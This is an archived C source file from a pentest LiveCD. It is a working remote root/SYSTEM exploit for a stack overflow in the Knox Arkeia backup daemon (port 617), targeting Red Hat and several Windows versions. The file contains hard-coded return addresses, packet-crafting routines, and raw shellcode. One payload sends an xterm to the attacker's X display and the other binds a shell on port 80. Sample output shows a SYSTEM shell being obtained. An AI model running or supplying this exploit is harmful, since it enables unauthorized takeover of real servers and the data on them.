home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / arkeia / arksink2.c < prev   
C/C++ Source or Header  |  2005-03-04  |  13KB  |  431 lines

  1. /*
  2.  * Knox Arkiea Server Backup
  3.  * arkiead local/remote root exploit
  4.  * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE 
  5.  * Works up to current version 5.3.x 
  6.  *
  7.  * ---------------
  8.  *
  9.  * Linux x86:
  10.  * ./arksink2 <arkeia_host> <target_type> <display>
  11.  *
  12.  * Exports an xterm to the box of your choosing.  Make sure to "xhost +" on
  13.  * the box you're exporting to.
  14.  * 
  15.  * A stack overflow is in the processing of a type 77 request.  EIP is actually
  16.  * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
  17.  * have to write past EIP and insert a "safe" value.  Put this value behind your
  18.  * NOP+sc return address so it doesn't mess with the sled.
  19.  *
  20.  * Since the buffer is so small, we initially send an invalid packet that ends
  21.  * up on the heap a second before the overflow happens.  If it is a high traffic
  22.  * Arkeia server the heap might be a bit volatile, so play around with putting
  23.  * nops+sc after the overwritten pointer.  The heap method avoids non-exec stack
  24.  * protection, however.
  25.  *
  26.  * Includes targets for RH8 and RH7.2
  27.  * 
  28.  * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
  29.  * [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
  30.  * [*] Attacking LINUX system
  31.  * [*] Exporting xterm to 192.168.1.1:0 
  32.  * [*] Connected to 192.168.1.2:617 NOP+shellcode socket
  33.  * [*] Connected to 192.168.1.2:617 overflow socket
  34.  * [*] Sending nops+shellcode
  35.  * [*] Done, sleeping
  36.  * [*] Done, check for xterm
  37.  *
  38.  *
  39.  * ---------------
  40.  * 
  41.  * Windows x86:
  42.  * ./prog <host> <target> <offset>
  43.  *
  44.  * Spawns a shell on port 80 of the remote host
  45.  *
  46.  * EIP is overwritten beginning with the 25th byte after the header.  Since Windows
  47.  * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
  48.  * write an extra null past EIP.  Another advantage here is that we can put all our
  49.  * nops and shellcode in the same packet, but after the NULL.  They will not be copied
  50.  * onto the stack (and therefore not munge the pointer after it) but will remain
  51.  * in memory as a raw packet.  Fire up ollydbg, search for your nops and voila.
  52.  *
  53.  * [user@host user]$ ./arksink2 192.168.1.2 3 0
  54.  * [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
  55.  * [*] Attacking Windows system
  56.  * [*] Spawning shell on 192.168.1.2:80
  57.  * [*] Connected to 192.168.1.2:617 overflow socket
  58.  * [*] Sending overflow
  59.  * [*] Attempting to get remote shell, try #0
  60.  * [!] connect: Resolver Error 0 (no error)
  61.  * [*] Attempting to get remote shell, try #1
  62.  * [!] connect: Resolver Error 0 (no error)
  63.  * [*] Attempting to get remote shell, try #2
  64.  * [!] connect: Resolver Error 0 (no error)
  65.  * [*] Attempting to get remote shell, try #3
  66.  * [!] connect: Resolver Error 0 (no error)
  67.  * [*] Attempting to get remote shell, try #4
  68.  * [*] Success, enjoy
  69.  * Microsoft Windows 2000 [Version 5.00.2195]
  70.  * (C) Copyright 1985-2000 Microsoft Corp.
  71.  *
  72.  * C:\WINNT\system32>whoami
  73.  * whoami
  74.  * SYSTEM
  75.  *
  76.  * C:\WINNT\system32>
  77.  * 
  78.  *
  79.  * ---------------
  80.  * 
  81.  */
  82.  
  83.  
  84. #include <stdio.h>
  85. #include <stdlib.h>
  86. #include <unistd.h>
  87. #include <netdb.h>
  88. #include <sys/socket.h>
  89. #include <sys/errno.h>
  90. #include <sys/types.h>
  91. #include <netinet/in.h>
  92. #include <arpa/nameser.h>
  93.  
  94. #define BUFLEN        10000        /* for readshell()        */
  95. #define DATA_LEN    1000        /* overflow packet data section    */
  96. #define HEAD_LEN     8        /* overflow packet header    */
  97. #define NOP_LEN        20000        /* nop+shellcode packet     */
  98. #define    ARK_PORT    617        /* port Arkeiad listens on    */
  99. #define SHELL_PORT    80        /* for the windows shellcode    */
  100. #define NOP         0x90        /* Intel x86            */
  101. #define NUMTARGS    5        /* increase when adding targets */
  102. #define LINUX        1        /* Linux target type        */
  103. #define WINDOWS        2        /* Windows target type        */
  104.  
  105. struct {
  106.     char         *os;
  107.     unsigned int    targret;
  108.     unsigned int    targsafe;
  109.     unsigned int    len;
  110.     int        targtype;
  111. } targets[] = {
  112.     { "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
  113.     { "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
  114.     { "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
  115.     { "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
  116.     { "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
  117.     NULL
  118. };
  119.  
  120.  
  121. // Linux shellcode exports xterm
  122. const char shellcode[] =
  123. "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
  124. "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
  125. "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
  126. "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
  127. "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  128. "\x80\xe8\xac\xff\xff\xff"
  129. "/usr/X11R6/bin/xterm8-ut8-display8";
  130.  
  131. // Windows shellcode binds shell to port 80
  132. const char shellcode_win[] =
  133.     "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
  134.     "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
  135.     "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
  136.     "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
  137.     "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
  138.     "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
  139.     "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
  140.     "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
  141.     "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
  142.     "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
  143.     "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
  144.     "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
  145.     "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
  146.     "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
  147.     "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
  148.     "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
  149.     "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xbf\x62\x1f\x4c\xd5\x24\xc5\xd3"
  150.     "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
  151.     "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
  152.     "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
  153.     "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
  154.     "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
  155.     "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
  156.     "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
  157.     "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
  158.     "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
  159.     "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
  160.     "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
  161.     "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
  162.     "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
  163.     "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
  164.     "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2b\xa2\x04";
  165.  
  166.  
  167. unsigned int resolve(char *hostname)
  168. {
  169.     u_long     ip = 0;
  170.     struct hostent    *hoste;
  171.  
  172.     if ((int)(ip = inet_addr(hostname)) == -1)
  173.     {
  174.         if ((hoste = gethostbyname(hostname)) == NULL)
  175.         {
  176.             herror("[!] gethostbyname");
  177.             exit(-1);
  178.         }
  179.         memcpy(&ip, hoste->h_addr, hoste->h_length);
  180.     }
  181.     return(ip);
  182. }
  183.  
  184.  
  185. int isock(char *hostname, int portnum)
  186. {
  187.     struct sockaddr_in    sock_a;
  188.     int            num, sock;
  189.     unsigned int        ip;
  190.     fd_set            input;
  191.  
  192.     sock_a.sin_family = AF_INET;
  193.     sock_a.sin_port = htons(portnum);
  194.     sock_a.sin_addr.s_addr = resolve(hostname);
  195.  
  196.     if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  197.     {
  198.         herror("[!] accept");
  199.         return(-1);
  200.     }
  201.     
  202.     if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
  203.     {
  204.         herror("[!] connect");
  205.         return(-1);
  206.     }
  207.     
  208.     return(sock);
  209.     
  210. }
  211.  
  212. int usage(char *progname)
  213. {
  214.     int     i;
  215.  
  216.     fprintf(stderr, "Usage:\n%s hostname target_num display  (attacking Linux)\n", progname);
  217.     fprintf(stderr, "%s hostname target_num offset   (attacking Windows)\n", progname);
  218.     for (i = 0; targets[i].os; i++)
  219.         fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
  220.     fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0\n", progname);
  221.     exit(-1);
  222. }
  223.  
  224. int getshell(int sock)
  225. {
  226.  
  227.     char    buf[BUFLEN];
  228.     int    nread=0;
  229.  
  230.       while(1) 
  231.     { 
  232.             fd_set input; 
  233.             FD_SET(0,&input); 
  234.             FD_SET(sock,&input); 
  235.             select(sock+1,&input,NULL,NULL,NULL); 
  236.         
  237.         if(FD_ISSET(sock,&input)) 
  238.         { 
  239.                   nread=read(sock,buf,BUFLEN); 
  240.                   write(1,buf,nread); 
  241.              } 
  242.              if(FD_ISSET(0,&input)) 
  243.                  write(sock,buf,read(0,buf,BUFLEN)); 
  244.       } 
  245. }
  246.  
  247. int lin(char *host, char *export, unsigned int tnum)
  248. {
  249.  
  250.     char         head[]         = "\x00\x4d\x00\x03\x00\x01\xff\xff";
  251.     char         data[DATA_LEN];
  252.     char        sc_req[NOP_LEN*2];
  253.     char        *sc;
  254.     unsigned int    retaddr;
  255.     unsigned int    safe;
  256.     int        datalen        = 0;
  257.     int        port        = ARK_PORT;
  258.     int        sock_overflow, sock_nops;
  259.     int         i;
  260.     int        nullmap = 0;
  261.  
  262.     sock_overflow = sock_nops = 0;
  263.  
  264.     retaddr = targets[tnum].targret;
  265.     safe = targets[tnum].targsafe;
  266.     datalen = targets[tnum].len;
  267.  
  268.     
  269.     sock_nops = isock(host, port);
  270.  
  271.     if (sock_nops < 1)
  272.         exit(-1);
  273.     fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socket\n", host, port);
  274.  
  275.     sock_overflow = isock(host, port);
  276.     if (sock_overflow < 1)
  277.             exit(-1);
  278.     fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);
  279.  
  280.     // build data section of overflow packet
  281.     memset(data, NOP, DATA_LEN);
  282.  
  283.     // copy in return address
  284.     memcpy(data+datalen - 8, (char *)&retaddr, 4);
  285.     // we overwrite a pointer that must be a valid address
  286.     memcpy(data+datalen-4, (char *)&safe, 4); 
  287.  
  288.     datalen = ntohs(datalen);
  289.     memcpy(head+6, (char *)&datalen, 2);
  290.  
  291.     // build invalid packet with nops+shellcode
  292.     memset(sc_req, NOP, NOP_LEN+1);
  293.     sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
  294.     sprintf(sc, "%s%s%s", shellcode, export, "K");
  295.     if (strlen(sc) + NOP_LEN > NOP_LEN*2-1) 
  296.     {
  297.         fprintf(stderr, "[!] display name too long\n");
  298.         exit(-1);
  299.     }
  300.  
  301.     memcpy(sc_req+NOP_LEN, sc, strlen(sc));
  302.  
  303.     // send invalid nop+shellcode packet
  304.     fprintf(stderr, "[*] Sending nops+shellcode\n");
  305.     write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1); 
  306.     fprintf(stderr, "[*] Done, sleeping\n");
  307.     sleep(1);
  308.     close(sock_nops);
  309.  
  310.     // send overflow, pointing EIP to above nops+sc
  311.     write(sock_overflow, head, HEAD_LEN);    // 8 byte header
  312.     datalen = ntohs(datalen);
  313.     fprintf(stderr, "[*] Sending overflow\n");
  314.     write(sock_overflow, data, datalen);    // small overflow packet
  315.     fprintf(stderr, "[*] Done, check for xterm\n");
  316.     close(sock_overflow);
  317.  
  318. }
  319.  
  320. void windows (char *host, int tnum, int offset)
  321. {
  322.     char         head[]         = "\x00\x4d\x00\x03\x00\x01\xff\xff";
  323.     char         data[DATA_LEN];
  324.     char        sc_req[NOP_LEN*2];
  325.     char        *sc;
  326.     char        *export;
  327.     unsigned int    ret;
  328.     unsigned int    safeaddr;
  329.     int        overflow_len;
  330.     int        datasiz        = DATA_LEN;
  331.     int        datalen        = 0;
  332.     int        port        = ARK_PORT;
  333.     int        sock_overflow, sock_nops, sock_shell;
  334.     int         i;
  335.  
  336.  
  337.     datalen = targets[tnum].len;
  338.     ret = targets[tnum].targret + offset;
  339.     sock_overflow = isock(host, port);
  340.     if (sock_overflow < 1)
  341.             exit(-1);
  342.     fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);
  343.  
  344.     // build data section of overflow packet
  345.     memset(data, NOP, DATA_LEN);
  346.     memcpy(data+datalen - 4, (char *)&ret, 4);
  347.     memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));
  348.     
  349.     // put size into header
  350.     datasiz = ntohs(datasiz);
  351.     memcpy(head+6, (char *)&datasiz, 2);
  352.  
  353.     fprintf(stderr, "[*] Sending overflow\n");
  354.     write(sock_overflow, head, HEAD_LEN);        // 8 byte header
  355.     write(sock_overflow, data, DATA_LEN);        // large data section
  356.     close(sock_overflow);
  357.  
  358.     for (i = 0; i < 20; i++)
  359.     {
  360.         sleep(1);    
  361.         fprintf(stderr, "[*] Attempting to get remote shell, try #%d\n", i);
  362.         // connect to shell
  363.         sock_shell = isock(host, SHELL_PORT);
  364.         if (sock_shell > 0)
  365.         {
  366.             fprintf(stderr, "[*] Success, enjoy\n");
  367.             getshell(sock_shell);
  368.         }
  369.     }
  370.  
  371.     fprintf(stderr, "[!] Exploit failed or cannot connect to port 80\n");
  372.     exit(-1);
  373. }
  374.  
  375. int main( int argc, char **argv)
  376. {
  377.  
  378.     /* first 2 bytes are a type 77 request */
  379.     /* last two bytes length */
  380.     char        *host;
  381.     char        *export;
  382.     unsigned int    tnum;
  383.     int        datalen        = 0;
  384.     int        offset        = 0;
  385.  
  386.     
  387.     if (argc == 4)
  388.     {
  389.         host = argv[1];
  390.         tnum = atoi(argv[2]);
  391.  
  392.         if (targets[tnum].targtype == LINUX)
  393.             export = argv[3];
  394.         else
  395.             offset=atoi(argv[3]);
  396.  
  397.         if (tnum > NUMTARGS || tnum == 0)
  398.         {
  399.             fprintf(stderr, "[!] Invalid target\n");
  400.             usage(argv[0]);
  401.         }
  402.     }
  403.     else
  404.     {
  405.         usage(argv[0]);
  406.     }
  407.     
  408.     tnum--;
  409.  
  410.     fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit\n");
  411.     fprintf(stderr, "[*] Attacking %s system\n", targets[tnum].os);
  412.  
  413.     if (targets[tnum].targtype == LINUX )
  414.     {
  415.         fprintf(stderr, "[*] Exporting xterm to %s\n", export);
  416.         lin(host, export, tnum);
  417.     }
  418.     else if (targets[tnum].targtype == WINDOWS)
  419.     {
  420.         fprintf(stderr, "[*] Spawning shell on %s:%d\n", host, SHELL_PORT);
  421.         windows(host, tnum, offset);
  422.     }
  423.     else
  424.     {
  425.         fprintf(stderr, "[!] Unknown target type: %d\n", targets[tnum].targtype);
  426.         exit(-1);
  427.     }
  428.  
  429. }
  430.  
  431.